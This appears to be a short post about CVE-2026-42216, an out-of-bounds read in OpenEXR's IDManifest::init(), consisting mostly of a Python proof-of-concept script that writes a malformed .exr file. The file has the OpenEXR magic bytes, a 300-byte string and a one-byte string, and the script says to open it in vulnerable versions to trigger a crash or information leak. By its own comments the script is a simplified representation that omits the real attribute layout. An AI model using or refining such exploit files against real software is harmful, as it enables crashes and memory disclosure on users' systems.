CVE-2026-42216 OpenEXR越界读取漏洞

import struct import os # Conceptual PoC for CVE-2026-42216 # This script generates a malformed OpenEXR file structure # designed to trigger the Out-of-Bounds Read in IDManifest::init(). def generate_malicious_exr(filename): # Magic number for OpenEXR header = b"\x76\x2f\x31\x01" # Simplified header # In a real scenario, we need to construct the manifest attribute. # The vulnerability triggers when a string > 255 bytes is followed by a short string. # Simulate a string list where the previous string is long (>255) # and the current string is too short (<2 bytes) to read the prefix length. long_string = b"A" * 300 # Trigger condition short_string = b"X" # Vulnerable string (only 1 byte) # Constructing the binary payload (Simplified representation) # Real exploitation requires precise adherence to the OpenEXR attribute layout. payload = header + long_string + short_string with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious EXR file generated: {filename}") print(f"[+] Attempt to open this file with a vulnerable OpenEXR version (<3.2.9, <3.3.11, <3.4.11)") print(f"[+] to trigger the crash or information leak.") if __name__ == "__main__": generate_malicious_exr("cve_2026_42216_poc.exr")